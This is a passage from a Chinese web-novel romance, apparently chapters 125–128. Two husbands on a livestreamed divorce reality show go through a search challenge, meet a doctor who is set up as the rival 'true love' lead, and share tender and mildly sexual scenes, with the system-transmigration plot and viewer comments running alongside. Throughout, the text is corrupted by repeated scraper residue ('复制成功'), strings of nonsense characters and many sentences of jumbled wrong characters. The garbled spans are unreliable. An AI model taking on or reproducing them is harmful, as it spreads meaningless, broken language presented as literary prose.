“嘴巴长在你身上。”三年跟一个多月比起来,后者太过短暂了,可谢景和发现自己居然已经适应了男人这种时不时出现的气死人不偿命的态度,很自然地接过话头,时蔺川:“你干脆说我有病好了。谢景和:“你有病。时蔺川重重冷笑一声,翻身背对着人。隔了几秒。被子底下,有一只手悄悄探了过来,不轻不重地搭在了他腰间,其主人随后也贴了过来,跟他分享着同一个枕头。这时,时蔺川忽然听到身后有一道声音白静谧中响起。我已经做好准备了。" “老实说….比起我,你好像更应该去看看心理医生。◎ 复制成功 复制成功 复制成功 良久。 时蔺川轻声骂道:“吵死了!" 就是不知道骂的是身后那人,还是胸膛里那颗躁动不安的心脏。 125、Chapter 125 翌日。洗江的气温持续下降,天空却保持着晴朗,似乎趁所有人沉睡之际掬起海水洗了把脸,将灰暗洗去,露出湛蓝的底色算上先导片播出那天,这档离婚综艺满打满算才开播两天,但热度居高不下,尤其是整个剪辑组分秒必争地剪出好几个精华片段,节目组的官号一经放出,转发频率没一会儿就破了万。年轻伴佀许悠与段非文在生活习惯上的摩擦,老前辈程说行与妻子邵琳之间的平淡疏离,以及另一对备受关注与争议的夫夫时蔺川与谢景和。【素人哥太敢说了吧,在影帝手机上装定位监控?是不是为了流量在炒作呀?我昨天看直播的时候都懂了,他是真不怕被骂死.啊影帝现在也是一片骂声,粉丝都希望他赶紧离。【现实版#我的恐怖丈夫#】【影帝不想离,是对方坚定想离。】【营销吧?别忘了这档综艺是哪家公司出的,他们夫夫亲自下场炒话题的概率很大,打个赌,最后包不离婚的,离了我把桌子吃了。】话题很多,说什么的都有。然而,在某个关注人数逐渐飙升的网络之地,一群人对着特意截出来的几秒短视频翻来覆去地看,只见画面黢黑,仿佛只是摄影师随手录下的空镜场景。天很暗,星月隐蔽。 背景里的风声猎猎响,喧嚣入耳。 【可恶,怎么这么暗!我特地截图拉了一下亮度,可还是看不太清墙角那一坨阴影。到底是不是两个人叠在一起亲了啊?拜托!!这一点对我来说非常重要,抓心挠肝地想知道!】 【可疑,真的太可疑了[邓布利多摇头]】 【而且我把音量拉到最大,来回听了十几遍,好像听到了喘气的声音,但是模模糊糊的,不知道是不是我空耳了,或者是想多了。】 【导播真是切得一手好镜头啊[暗自咬牙]】 【好想钻进后期的电脑,把原始素材偷了!】 【快十点了,准备去蹲直播间。】 [. 时蔺川醒了。睁眼时,外头的天蒙蒙亮。然而冬季白昼较短,天亮得也晚些,完全看不出来此时已是将近七点。谢景和跟他睡着同一个枕头,两人被子底下的躯体紧紧相贴,仿佛过往的每一个共寝日夜,交颈缠绵。他的手掌习惯性地从谢景和的睡衣下摆探进去,掌心贴着对方的左胸口,感受着底下脉搏的跳动,指尖放松,却不小心勾到了已经消肿的地方。移开之前,时蔺川下意识地碾了两下。谢景和大概脱离了深度睡眠,因为这个轻微的举动,他闭合的眼皮当即颤动了几个回合,似乎下一秒就要醒来。时蔺川想到昨晚节目组工作人员私下对自己的叮嘱,只好侧身将人揽进怀里,小声安抚道:“还早,继续睡吧” 边说着,一只手还在他后背处轻拍。谢景和的呼吸打在他的颈窝,有些痒时蔺山感到对方的呼吸节奏从紊乱到平缓,又等了一小会儿,才轻手轻脚地将人松开,无声下床,转眼就看到昨晚被他们用落在地上的枕头仍旧躺在那里,孤零零的一只,沾了些许灰尘时蔺川把它捡起来,抖了抖,放到椅子上,他先是在卫生间换好衣服,随后带着洗漖包下了楼,全程没有发出一点声响。反手关门时,时蔺川的目光穿过细窄门缝,落到床上那团鼓起来的人影上,有些出神。刚到一楼。低矮的院墙挡不住视线,时蔺川望见节目组的工作人员和他的个人跟拍已经在院门口等待了,看到自己后立马打了声招呼,“时老师,早。时蔺川点了点头,应道: “稍等,我去洗漱一下。” “好的好的。"节目组将整个录制周期分为四个阶段,每周更换拍摄地点,并设置了当周的主题。本周的主题名为“所谓婚姻孤岛’,旨在打破离婚伴侣之间的隔阂,重建双方的心灵沟通,因此,今天的行程是根据昨晚离婚嘉宾的个人选择而制定的。时蔺川是选择离婚的那一方。按照节目组的安排,他会被藏起来,而选择了不离婚的谢景和,今天的任务就是找到自己消失的伴侣。 离开的路上,跟拍导演在镜头后对男人进行采访。 由于直播形式的局限性,节目组会及时推出剪辑版,里面会加入许多直播间不曾放出的内容.比如现在。“时老师,你认为谢老师能找到你吗?"晨露凉飕飕的,如针尖一般扎在人的脸上。时蔺川换了身衣服,上身仍裹着那件黑色短款棉祆。这类服饰蓬松臃肿,但套在他身上丝毫不显累熬,领口的毛绒球被吹得飘起来,一下下地蹭着他的下颌。"我怎么知道?”时蔺川跟着前方带路的工作人员走,漫不经心地应道,“这应该要看你们是不是非要刁难他吧?跟拍导演耳朵微动,捕捉到一个词。 “刁难?你是在担心谢老师吗?" 时蔺川:“我没有这么说。”跟拍导演笑笑,又问:“那你希望谢老师找到你吗?”这个问题是没有意义的。”时蔺川面不改色地道:几个问题都被男人不动声色地打了回去,很快,这段采访迎来最后一个问题,跟拍导演问他,“那,时老师.”“对你来说,今天是怎么样的一天呢?" 话音刚落。 男人脚步稍停。 这一秒的时间仿佛凝滞了。 他说, 男人偏着脑袋直视镜头,隐藏在透明镜片后的那双狭长眼像是不见底的黑洞,又冷又深,可他的面上却带着礼貌性的微笑,唇瓣也勾起赏心悦目的弧度,—— 今天,是很特殊的一天。 上午,十点整。 直播间的倒计时归零,画面随之一闪,镜头里骤然出现了一张写满茫然和焦急的脸。 这是一张很好看的脸。 眼窝深邃,眸如点漆。 只是有些呆愣。于是,镜头外的工作人员再次重复了一遍,“谢老师,你的伴侣已经离开了,你想要把他找回来吗?"谢景和醒来时,床上只有自己一个人。他独自睡着一个枕头,却觉得有些空旷寂寞,不由自主地喊了声 "蔺川” 可男人既不在床上,也不在卫生间里 谢景和到处都找不见人,问其他工作人员,对方也只是沉默地摇了摇头,直至时间走到十点,才有人这么告诉他 时蔺川离开了。 然而男人的行李箱还在卧室角落里放着,谢景和瞬间想明白这是节目组安排的环节,但还是忍不住长长地呼出一口气,立马应道:“当然要找啊!你们把他藏哪儿去了? 跟拍导演却道:“他是自己走的。 下一秒。跟拍导演递出一封信纸,以第一视角呈现在镜头前,并道:“伴侣走之前,给你留下了线索,谢老师,你可以打开看看。谢景和接过信纸,从里面倒出了一张白色卡片。卡片上没有字,只有男人随手画出来的涂鸦。他的笔触很凝练,几笔勾勒出两个漫画风格的小人,其中一人略矮些,短发微卷,从五官特征能分辨出正是谢景和。而另一个漫画小人只露出半张侧脸,身形高高瘦瘦的,隐约能看出脸上架了一副眼镜,两个小人手拉着手,脸上都是笑。很可爱的画面,很得馨的画面,可谢号和看看看看,突然觉得有些特知,只是他现在没有心果天追究这一丝增纵即浙的活和,而是提看卡片,拾头问镜头后的跟拍导演“我该怎么找他?"这时候,工作人员递上一张拼图的空白底框,开始讲解规则:“是这样的,谢老师,你需要找NPC依次完成挑战,才能获得拼图线索,只有拼图完成后,你才能得到伴侣的所在位置.…同样的一幕,在另外两位嘉宾面前上演。昨夜三组嘉宾的选择格外一致,都是其中一方选择离婚,另一方选择不离婚。虽然节目组已经参考所有可能出现的选择,做出了妥善的策划案,但现在的情况倒也省了事。日出组选择离婚的,居然是大大咧咧的许悠,他实在无法融入段非文的高知家庭,跟段非文本人也存在三观摩擦,已经疲于磨合。 而黄昏组选择离婚的是戏曲家邵琳,两人没有孩子,并且分居多年,各自有自己的事业和交际圈,以至于一年到头见不了几次面,昔日爱人似乎已成陌路此时,画面一变。镜头出现了另外三位选择离婚的嘉宾。三人居然齐刷刷地坐在观察屋里,面前是一块大银幕,跟所有观众一样,隔着屏幕观察自己的伴侣…跨越考验,朝自己奔来。当画面切到段非文为了得到拼图碎片,性格腼腆的他做着自己以往从来不愿意做的事情,浪荡外放的摇滚歌手心中五味杂陈,眼眶微微的红更别提跟程说行相伴十几载的邵琳了。只有坐在中间的男人从头到尾维持着冷静淡然的表情。 对比实在惨烈,弹幕纷纷议论。 【这哥是真想离啊,影帝为了找他真的很拼了,NPC的挑战还蛮不容易的,得在石阶上往返跑。我看影帝有点虚。】 【基操,明星都减肥,影帝还挺敬业的。】 【有个点戳到我了。】 【盲猜是影帝时不时掏出素人哥留给他的线索卡看一眼那里?眼神真的很戳人!之前好多CP粉同框即拉郎,还说影帝眼神那么深情,绝对跟谁谁准有一腿.…现在我只想说,有对比才有真相。】 【啊,虽然但是】 【他男人一脸冷漠啊!!】 【前一天恋综,今天突然想起来是离婚综艺了吗哥[扑通跪下]】 就在此时。 镜头里变故突生! 山林里,谢景和在挑战仟务的讨程中一脚踩空,猛地摔了一跤,幸好他反应速度比较快,用手撑了一下地,才避免了重大伤势,却也梧着手腕,表情痛苦。他的跟拍忙不迭上前问了句,“谢老师,你还好吗?"视频前的观众也忍不住有些紧张。【我靠他旁边两位嘉宾都惊讶了 但素人哥就是眼都不眨——下人不能,至少不应该 【在镜头面前,多多少少要表现一点关心吧?哪怕是一丝丝感情都没有了,稍微逢场作戏一下呢?真不怕被骂死?】 【很好奇谢粉此刻的心情。】 【emm总感觉淡定过头了,是不是装的?】 讨论在继续。 镜头里的画面也在继续。 工作人员将谢景和扶了起来,经过电话沟通,节目组雇佣的随行医生很快赶到, 由于随行医生是素人,镜头稍稍避开,观察间和直播间里的人只能看到对方的背影,男人身形修长,一身沙色毛呢大衣很利落,弯腰对谢景和说话时,嗓音温柔极了。 “你好,方便让我检查伤患处,确认一下伤情吗?" 说着,男人抬了抬手,很快又放下。 像是做了一个扶眼镜的动作。 时蔺川分外熟悉这个动作。 他盯着大银幕播放的画面,表情是一如既往的平静,呼吸平稳,似乎什么情绪波动都没有。 闭麦许久的系统就是这个时候出声的。 久违的的电子音在他脑子里响起,每一个字都意味深长,让时蔺川分外厌烦,“呜哇,宿主. "今天果然是特殊的一天呢。 是啊 126、Chapter 126 正如天要下雨、太阳东升西落等既定现象那般,有些事情注定要发生。例如,一个主角,终将遇到另一个主角。抛开某些不重要、且不影响故事主线的小细节,时蔺川始终把控着事态发展的大方向,让它按照原著的模样照常发生——而刚才镜头里的画面,已经证实了这一点。原著中,主角谢景和跟真爱正攻的初遇便是此刻。在他正在录制离婚综艺,被渣男前大哥折腾得夜夜爆哭的时候,真爱正攻已悄然出场,与他邂逅结缘,为日后的倾心埋下了伏笔。跟时蔺川维持了三年的贴牌人设完全不同,真爱正攻是货真价实的谦谦君子,性情温柔 风光霁月,他出身豪门,是家里最小的儿子,大学时远赴国外,攻读了外科与心理双博土学位,如今刚回国,本来想好好休息一段时间,没想到被自己的亲妇姐半骗半坑地拉到一档密婚综艺里任职随行医生。其姐美名其曰:让你感受一下婚姻险恶,省得你以后跟爸妈站在同一阵线劝我结婚。这番说辞让真爱正攻有些哭笑不得。 但聘用合同已经落实,他只好过来了,权当散散心。 再然后 他在节目上遇见了谢景和,并眼看着对方在一片狼藉的婚姻中几经挣扎,最后痛苦而果决地选择了蜕变,心中不由得泛起涟漪,这便是两位主角相遇的前因后果了。作为看过原著小说的渣男前大哥扮演者,时蔺川对此很了解,如今更是冷眼目睹着它的发生,仿佛在看一幕早就被剧透了个底儿掉的三流都市感情剧。 没什么好意外的。 倒不如说,正合了他的意。 就在这时候。时道川脑子里部道多余的噪音又开始哪脚歪歪,电子音一波三折地说道:“由于系统跟店主是灵魂绑定的关系,所以我可以接收到宿主部分外溢的烈性情绪啦,根据后台数据显示,宿主现在的情绪波动很起伏耶,是为什么啊?“时蔺川无声应道:“关你屁事。” 沉蠑遛┅罗养瑄氨戀é伍珗H怖駆楂太。 系统伴装无事发生,用循循善诱的语气继续道:“如果宿主放不下主角的话,其实可以在完成离婚任务之后,重新追求他嘛!根据本系统的观察,但凡宿主哄一哄人,主角大概率就无力抵抗了哦!时蔺川面色更冷,“少恶心人了。” 系统:" 再接再厉! 系统空间内。 主系统N01即着光屏上男人冷城的面容,小哪哪卷成一团,做出一个用力握举的姿势,语间却要上场,“1牙.…宿主明明对友回原世界这件事完全不在意吧?只要一百积分就能永久停留该世界哦!刚子跟宿主完成任务后获得的奖司等作“反正宿主你不管在哪个世界都只是疯狂工作罢了,没差啦~ 时蔺川… 时髟撸贍席川不理祂了。 说完,祂突然叉起腰来,话锋一转, “没关系,解决不了你,我还解决不了主角吗?" “反正时机也差不多了。” 角落里。 被绑架三年的蓝色光球很沧桑:【.】 提前同情一秒宿主吧。 真是被鬼捡了。 然而,宿主时蔺川并不知道自己的意识里还藏着另一个被拐入大脑的光球,他熟练地无视了那道聒噪的电子音,满脸淡然,继续望着荧墓中发生的一切,。 宛如一个旁观者。 其实系统说对了。 他确实对返回原世界没有太大执念。 但祂也说错了。 因为横亘在他和谢景和之间的问题,从来都不是那一百积分,甚至跟他不得不完成的离婚任务也没太大关系,而是 时蔺川本人。 这一跤摔得太突然。 谢景和是个身高体长的成年男性,直接用右手撑地的后果就是手腕传来一阵剧痛,肉眼可见的肿了起来。 跟拍很紧张,镜头有些晃。 “没事,骨头应该没断。 周围几位工作人员迅速围了上来,七嘴八舌地轻声询问他伤势要不要紧,又说已经通知医生过来了。谢景和见他们实在紧张,被扶着站起身后,笑着说了句, 说话时,他的面色有些苍白,额角渗出细密的汗水。好在没过几分钟,节目组聘请的随行医生就到了,男人黑发黑眼,五官清俊,气质谦雅温吞,脸上架着的那副眼睛为他增添了几分书卷气。他一身休闲装束,保暖而不失风度,暖色调的沙色风衣线条简约 衣摆被风吹起一角,很好看。 他说话的语调也是温和轻缓的,很有亲和力。 谢景和恍惚了一下,心中异感愈强。 见对面的人眼睛落到自己脸上,迟迟没有动作,黎焕一边扶着他的时部,将他的小臂连同手腕拾起来,一边好奇地问道:“谢先生,我的脸上有脏东西吗? 谢景和陡然回神,连忙抬手往回缩了一下,躲避镜头。 “没有。”他后知后觉地应了句。大愣是考虑到在观众面前展示伤痕观感不佳,以及总导演事前提醒过的随行医生不露脸事项,跟拍师很主动地换了个视角,还将镜头微微往下移。这时候,谢景和才配合着对方的动作,轻轻将自己的右边袖子搂了起来,露出伤处,今早起床在卫生间换衣服的时候,他特地检查过,圈横在自己颈间和腕间的痕迹已经消得差不多了,只要不把他的手拉到眼前,近距离盯着看,基本是看不出来的。奇怪的是,他胸口左边还有些红。像是被掐碾过 应该是错觉,总不会是蔺川掐的吧。男人一手托着他的腕,另一手捏着他的手掌检查,听到谢景和暗暗抽气,便主动开口说话,分散他的注意力,“谢先生,你好像不是很上镜?真人比电影里好看多了.…说着,他抬眸看了一眼谢景和,接着道:“我姐姐是你的粉丝,我陪她看过你的很多影视作品。话音刚落。男人捏着谢景和的腕猛地一拉一拽,就听轻微的咯吧一声,随即他微媺一笑,“"好了,情况不是太严重,脱白和软组织挫伤,幸好没有骨折。我给你敷个药,纱布两天不要拆,也不要碰水。 一切发生得迅疾。谢景和白着脸,慢半拍地点了点头,“好的,谢谢。“不客气,这是我的职责所在。"在敷药包裏纱布的空档,谢景和有些心不在焉,惦记着做到一半未完成的任务,忽然听到男人轻声问道:“不好意思,谢先生,我接下来的话可能有些失礼和过界.!背着镜头。 男人的指尖在谢景和手腕处轻轻一点,视线却落在他脸上,意有所指地问了句, “请问,你是否需要帮助?” 谢景和怔了两秒,一下子就反应过来了,当即应道:“不需要。 迎着男人善意的目光,他没解释什么,只是不由自主地想起跟男人的癫狂一夜,嘴角不自觉地轻提起来,牵出一抹很浅的笑,浅白的太阳光淌进那双深逮眼眸中 闪闪烁烁,明亮醉人。 他又说了一遍,语气无比坚定。 真的不需要。 由于谢景和的右手受了伤,接下来的几个挑战任务都不太适合他现在的状态,节目组临时调整内容,以至于他早早完成了任务,成功从导演口中得到了伴侣最终会出现的地点此时,仅下午三点出头。 另一头。 在三位嘉宾专属观察室外待命的工作人员收到通知,轻轻地敲开房门,走到屋子里仅剩的男人身边,小声提醒道:“时老师,您的伴侣已经顺利通关了,您现在要前往见面地点吗? 时蔺川坐了大半天,仍是腰背挺直,仪态悠然的样子。 听到工作人员重复了几次的问题,他毫不犹豫地摇头,薄唇微分,果断吐出两个字。 “不去。 见此情景。 直播间里的评论区和弹幕已是骂声一片。 【哇,这哥】 【看出来了,是真的没有一点感情了。】【我都看急眼了,好家伙,他是真坐得住啊!】【可能在不爱的人眼里,做什么都没有用吧】【人被刀,就会死,望周知。】 【】 今天的行程很有意思。六位嘉宾分为两组,每当选择不离婚的嘉宾完成任务,得到一块碎片后,就会有工作人员进入观察间,向对方的伴侣提问,现在是否要去寻找你的伴侣?选择离婚的嘉宾可以拒绝,也可以离开观察室,前往自己的伴侣身边,一同面对接下来的考验,最后结伴归来选择不离婚的嘉宾中,谢景和是最先完成考验的;可在选择离婚的嘉宾中,只有时川在屋子里留到了最后。许悠和邵琳在观看中途,就选择了回到伴侣身边。此时此刻。镜头里。 海岸边,礁石丛。 谢景和独自站在一块駿黑的礁石上,身后是一片幽蓝的海面,风阵阵吹来,撩出(波光。他穿着重逢那天的短款白棉袄,一手揣兜,另一只手裹着纱布,纯白布料从袖口延伸出来,覆盖了半个手掌。 这个时间点,天空很亮,阳光很足。 风也很大。 谢景和的头发被吹得乱飞,领口的毛绒球像是挣脱了地心引力,要往天上跑了。可他只是安安静静地站在那里,等时蔺川。 而他等待的人则端坐观察室,隔着一块荧幕看他,始终没有动。 时间一点一滴流逝。不知是哪个粗心鬼往天上泼了一杯墨,天幕变得暗沉幽深,云絮也变得灰扑扑的。又不知是哪浩浩荡荡,宛如一场山火。浑圆的火球咻的一下坠落海底。最后一缕光将熄未熄。天暗了,很暗。 谢景和仍旧站在那块礁石上,整个人被吹得瑟瑟发抖,鼻头冻得呼吸都不通畅了。他跺了跺脚,忽而听到身后传来一阵细微的声响,便下意识地回头看了一眼。道模糊而熟悉的人影迈入黑夜,大步朝他走来。谢景和下意识地笑了一下,很快又收敛起笑容,眼眶突然湿润,忍不住扯着嗓子,远远地冲那人嚎了一声“你这一整天都去哪里了?怎么现在才来!我都快冻死了!" 沙岸不平坦,那个人一脚深一脚浅,步子飞快,也怒气冲冲地吼他, “谢景和,你脑子是不是有包啊! 127、Chapter 127 黄昏稍纵即逝,宣窿像是被熏黑的锅底,倒扣下来,将整个世男笼在暗影中海岸礁石丛没有光亮,谢景和站在那里,轮廓不分明,好在他身上的白色棉袄格外醒目,乍一眼看过去,像是罩了层清浅月光.四下昏暗寂寥,他与世界格格不入。远景里的海面浮漂闪烁着微弱红光,预示着某种危险。时蔺川迈着大步,跨过曲折不平的礁石,一路朝着那道模糊身影走去,心中莫名有一团火在烧, 发出噼里啪啦的声响,他人刚一站定,立马开口数落起来,语气愠怒。"谢景和,你长没长耳朵?工作人员不是都告诉你游戏规则了吗?我没来,是我不想来!你还在这里傻站半天干什么?"还是说你只是在自我感动?以为自己这样做很深情?"时蔺川言语刻薄,劈头盖脸给了谢景和一顿骂。男人走得实在太快了,如今说话还有点喘,但这点小瑕疵完全不耽误他正常发挥——全程没吐一个粗俗脏字,却句句淬毒,嘲讽拉满,听得直播间观众一愣一愣的。 【我嚓,这哥一天三顿砒霜拌饭吃吗?嘴好毒。】【哇,影帝从三点多等到现在,快七点了,风还这么大,海边冷得要命,听到这通数落还不得心态爆炸呀?换成我的话,当场就得哭出来了,这婚铁离!】【真不知道这俩儿该怎么收场】【看了眼微博,大批谢粉已经炸锅[手托莲花]双手合十]】【不是,哥,你快别说了!你是真不把我们当外人啊,隔着屏幕我都怕影帝被你骂急眼了,待会儿直接把你推海里!】 天沉沉,海潮上涨。夜风格外凛冽,两人相距不过半米。男人的连篇数落从谢景和的左耳进,右耳出。他眸光怔忪,感受着从男人身上溢出来的热气,忍不住抬手摸了一把对方的脑门,滚烫。 微微的湿。是汗。时蔺川骂到一半,突然卡了壳。而始作俑者谢景和只是低头捻着自己的手指,声响很轻,鼻音很重地道:“你一直说不想来,但还是来了."就在这时候,一片浪花呼啦撞上礁石,砸得粉身碎骨,溅起来的细沫打在时蔺川的手背上,迫使他不自在地蜷了蜷手指短暂停顿后,谢景和抬眸看向他,面容被暗夜覆上一层黑纱,惟有眸中闪动着熠熠的光,不知是泪,或是其他什么东西。"_-来了就行。"霎时间,巨大的荒感和无力感一齐袭上时蔺川的心头,他墓地咬紧牙关,嗔怒地盯着面前这个油盐不进的家伙,垂在身侧的手掌不自觉地模成了拳头于是,几个小小的月牙钻进他掌心里。但谢景和比它们更可恶,非要往他心里钻。 说完那句话,谢景和重重地吸了一下鼻子,抱怨道:“好冷,我都饿了,你这么晚才过来.…"他顿了顿,拾起那截被纱布包裹着的腕,特地举到男人的面前,“而且我的手也很疼,特别疼. 其实不动弹的时候,痛感很轻微。 但这并不妨碍谢景和这么说。…没什么特别的原因,就是突然很想撒个娇。时蔺川敛眸看着这只快要怼到白己脸上的受伤小猪蹄,默默无言半响,才道:“那你还非要在这里站一下午?疼死算了。随后,他很冷酷地道了声,”走了。”话音刚落。时蔺川转过了身,随手抬起一臂,手掌不轻不重地揪着谢景和的后领子,把人往礁石丛下带谢景和这个懒鬼。有他拽着走,自己都不看路了,全程偏着脑袋看他,一个劲儿地跟他抱怨站久了腿酸,风吹多了头疼,摔倒了手痛,等久了肚子饿,来来回回地说,反反复复地念,最后,谢景和说了一句, “我就知道你会来。 时蔺川冷笑道:“我要是不来呢?" 谢景和却眨眨眼,应道:“没有如果,你就是来了。" 时蔺川哼了声,语气带刺:“因为我怕被网暴。 谢景和思量片刻,眼神纠结地瞟着男人的侧脸,小心翼翼地点破了某个事实,“我觉得你好像担心得太迟了。 时蔺川:“…啧。 烦人东西。 走着走着,谢景和突然一个趔趄,差点绊倒,幸好时蔺川拽着他的衣服没撒手,否则这人指不定在崎岖石面上摔得满脸血思及此处,时蔺川语气更差。 “谢景和,你多大了?能不能看点路?" 谢景和也有些后怕,解释道:“我鞋带散了,刚才不小心踩了一脚。时蔺川低头一看。还真是。在松开谢景和的后衣领之前,他又冷又硬地道了声''站稳”,然后直接蹲下|身来,两只手捏起松散的鞋带,扎了个紧紧的结只是下一秒,他的头顶传来谢景和的声音,“两只鞋的鞋带松紧程度不一样,我感觉有点怪。”….这个死小孩。又在作什么妖。时蔺川的怨气比鬼还要重,臭着脸将他另一只鞋的鞋带拆开又系起来,起身后,还板着脸阴阳怪气了一句,“少爷,您还满意吗?"谢景和却不说话,只是直勾勾地盯着他抿唇微笑,视线不着声色地移到男人口出恶言的嘴唇,喉咙下意识地滚了滚时蔺川怎么可能没有察觉。 他推了一下眼镜,扭头看向别处。 "….真是受不了你。" 回到住所,已是七点半多。 除了第一天给嘉宾们提供了丰盛餐食,节目组已经声明,他们在接下来的几天里会对嘉宾的日常饮食秉持放养态度——即提供食材,但需要嘉宾们自行烹饪,。 这项任务听起来不太困难。 然而。一楼,厨房内。时蔺川将架在士灶上的大铁锅刷洗了三遍,才开始烧水煮面。谢景和则坐在一张竹制小板凳上,往烧火口里添柴,土灶很难用,起码时蔺川活了三十多年就没见过这玩意儿,好在谢景和拍戏时有所涉猎,便主动担下了生火的部分。板凳低矮,他腿又长,坐姿看起来有些局促。在等水烧开的空档里,时蔺川有些无聊,习惯性地单手插兜站在灶台前,姿态不像白天那样笔挺端正,反而一副慵懒恣意的模样。 很高,很帅,让人移不开眼。 时蔺川:“ 某个人的视线太有存在感,像是黏在他身上了。 柴火在灶膛里烈烈燃烧。 带着热度的、通红的火光从狭小的洞口里泻出来,偶尔跳出几声很突然的啪咔声,大概是火苗爆裂的响动。 有些热。 时蔺川忍不住侧过脸,颔首看向坐在自己脚边的人,果不其然撞上一双倒映着火光的深邃眼眸。 不止是那双眼。 谢景和坐在烧火口的位置,整个人陷入桥红的火光中,五官与颈窝的阴影随着焰火的跳动而变化,宛如音乐里的强弱拍子,起起伏伏,看久了让人不免让人觉得头晕眼花,思绪滞缓。 “咕嘟.咕嘟.…” 锅里的水不知道什么时候烧开了。 厨房空间狭窄,气温不断上升。 时蔺川忍不住抬掌扣在谢景和的头顶,将他的脸扭了过去,不满地提醒道:“专心点,烧你的火。 谢景和:“哦。 不多时。两碗热腾腾的青菜肉丝面被端上了桌。时蔺川吃着面,警见坐在自己正对面的谢景和用左手拿筷子,费了老半天劲儿也没吃到根面条,只好把嘴巴凑到碗边吸溜,忍不住放下筷子,嫌弃道:“你这样吃汤汁会撒出来的,冬天收拾很麻烦。谢景和咽下汤面,应道:“你别管我,我等下自己收。”时蔺川面无表情地看着他,不说话。屋子里沉默一秒,两秒忽然间,谢景和福临心至,脑袋上冒出一个锃亮的小灯泡,试探性地问道:“那不然你喂我?我手这几天不方便,省得等下弄脏桌子和衣服,还要麻烦你收拾。时蔺川从他手里接过筷子和汤勺,不情不愿地强调道:“就这几天啊。"谢景和点点头,张开嘴巴。 吃完饭,新的问题又来了。谢景和今天在外活动,期间还在山阶上摔了一跤,身上的白棉袄几处脏污,身上也出了汗,不得不从头到尾清洗一番可他伤了一只手,动不了,也碰不了水,做什么都不方便。卫生间里,灯光昏暗。两个身高腿长的男人挤在里面十分窘促,时蔺川示意面前的人高举双手,轻而慢地将他的衣服逐一除去,然后又把自己扒干净了,让他将受伤的手搭在自己肩头。 谢景和——照做。温热的水淌下来,暖得人忍不住眯起眼。◎ 复制成功搓洗过程中,时蔺川发现谢景和不止是手腕扭伤,身上被布料遮盖的地方还有几处淤青,颜仑T8876◎ 复制成功噗叽。 复制成功时蔺川挤出一团洗发露,往谢景和打湿了的脑袋上抹去,见他两只眼睛直愣愣地往自己身上放,嗰用"う,心N工加里于T叫刀追,左山 入难雪白泡泡几个泡泡飞起来。 升空。 破灭。 砰的一声响。 花酒头掉到地上,打了好几个圈才停下来,旁边是交错站立的四只脚,越往上,交缠得越紧密,男人们热火朝天地吻在一起,互相断咬着嘴唇,吞咽着彼此的涎液,将身上的浴液泡泡蹭满另一人的胸膛 漫长且热烈的一吻。 两个人都吻到缺氧、窒息、脑袋里炸开烟花。 …快要死掉。 哪怕就这样死掉。 128、Chapter 128 啪的一声。嗡嗡作响的吹风机终于安静下来了,时蔺川随手拨了拨掌下变得干燥蓬松的发丝,隐约嗅到一股跟自己身上同出同源的洗发露清香,谢景和坐在椅子上,被热风吹得眼睛眯起来,不知道是不是鼻子痒,他冷不丁打了个喷嚏,发梢随之震颤缕发丝勾着男人的手,不放开。 跟他的主人一个样儿。 谢景和莫名挨了一眼瞪,可他还没来得及问出声,男人的大掌便扣着他的脑袋往下压,两人相连的视线瞬间被阻断,他只能看到自己的光脚轻轻踩在男人的脚背上,上下交叠 下一秒。 时蔺川的脚背忽然传来一阵顿顿的疼。 说疼,好像不是太准确,更像是痒。这感觉介于两者之间,界限模糊,用通俗易懂的话来说,应该是 刺挠。 时蔺川低头一看。 就见谢景和岔开脚趾头,正挥舞着两只张牙舞爪的“蟹钳”,使劲地夹自己脚背上那层薄薄的皮肉,带着几分不自量力的笨拙。 动作间,他的脚背绷得很紧, 筋骨分明。 时蔺川啧了声,没说话。 好一会儿。 他把这个显然是吃饱了闲着没事干的家伙赶到了床上,自己却趿拉着拖鞋往外走,无视了身后那句''去哪儿,的问询,反手将门合上了。 卧室门发出吱呀的尖叫,隔绝了里外。 走廊昏暗,风来回跑。 时蔺儿脚步稍停,没有往前走,反而回退一步,用后背抵住了陈旧木门。紧接着他的长颈弓起来,头顶支着门板,视线投向攀着裂纹的天花板墙皮,眼神微微放空。 约莫两分钟后。他的表情恢复了平日里的淡然,提着步子继续往楼下走,刚到一楼大堂就撞见两个人影站在院门外,前头领路的工作人员当即拾手挥了两下,跟他打了个招呼。“时老师,这也太巧了!" 后面的话,时蔺川听了也没记住。 隔着一道低矮院门。 他与站在工作人员身后的男人遥遥相望。 黎焕,黎医生。 门外,黎焕推了一下眼镜,透明镜片折射着光影,将不远处的场景反馈回来,通过复杂的视网膜神经,形成清晰的影像. 灰扑扑的建筑里。 男人长身而立,大概是刚洗过澡,他的头发稍显凌乱,服饰休闲保暖,脚下踩着一双清凉的灰蓝色调拖鞋,看起来格外居家。 然而,这只是''看起来’。 男人五官英挺,神情却冷峭如霜,气质凌冽。 最奇怪的是,跟他打招呼的分明是领路的工作人员,可不知道为什么,男人的视线居然第一时间落到了自己身上。 准确无误,宛如瞄准靶心的箭矢。 黎焕感受到了一丝若有若无的排斥与敌意,嗯,按照他对他人情绪的感知水平,产生错觉的概率应该不是太大? 跟着工作人员进了门,黎焕没等青年为自己做介绍,主动伸出一只手,温声道:“你好,我叫黎焕,是节目组聘请的随行医生。 时蔺川垂着眼,望着伸到自己面前的这只手好一会儿,才抬掌与其交握了一瞬,触之即分。 “时蔺川。”他道。 比起镜头里的半遮半掩,不露真容,小说里的另一位主角如今近在眼前,时蔺川跟他相隔不过两米,彼此都看得更加清楚分明。 几息之后。时蔺川道:“找谢景和?他在楼上。”黎焕的脸上闪过一丝惊讶和不解,但很快又被彬彬有礼的微笑填满,顺势应道:“不用了,跟时先生说也是一样的。话罢,他从沙色外套的口袋里掏出一盒便携式碘伏棉签,递了过来,“我猜测谢先生身上可能有淤伤,应该需要这个.…嗯,还有这个。他从另一边口袋翻出了一张卡片,上面的双人钢笔画在跌倒的过程中折了一角,还蹭上了些许污渍,看上去很像一张废纸.但废纸被人捡了起来,折角亦被抚平。 与此同时。 时蔺川听到身前之人缓缓道:“我问过总导演了,他说这是嘉宾给伴侣留下的线索卡片,我想对于你们来说,它应该挺重要的? “物归原主。 